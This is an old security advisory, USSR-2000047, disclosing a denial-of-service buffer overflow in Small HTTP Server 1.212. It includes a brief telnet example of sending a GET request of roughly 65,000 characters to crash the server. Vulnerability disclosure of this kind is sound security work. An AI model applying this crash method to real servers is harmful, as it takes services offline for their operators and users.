USSR Advisory #47 - Remote dos attack in the Small HTTP Server ver. 1.212. Sending a malformed URL to port 80 will cause the proccess containg the services to stop responding.
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Remote DoS Attack in Small HTTP Server ver. 1.212 Vulnerability
USSR Advisory Code: USSR-2000047
Release Date:
June 16, 2000
Systems Affected:
Small HTTP Server ver. 1.212 (maybe others)
THE PROBLEM
The Ussr Labs team has recently discovered a buffer overflow memory
problem in the Small HTTP Server.
What happens is by preforming an attack with a malformed url
information to port 80 it will cause the proccess containg the
services to stop responding.
SPECIAL NOTE: That we take no responsibility for this code it is for
educational purposes only.
Example:
The http Server (Port 80) service has a overflow in the GET command
[hellme@die-communitech.net$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET /[buffer]
Where [buffer] is aprox. 65000 characters.
and the process containg the service crash
Vendor Status:
Informed!
Vendor Url: http://wwwwin.wplus.net/pp/mrdoors/srv/index.htm
Program Url: http://wwwwin.wplus.net/pp/mrdoors/srv/sethttp.exe
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Underground Security Systems Research
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Technotronic and Wiretrip.
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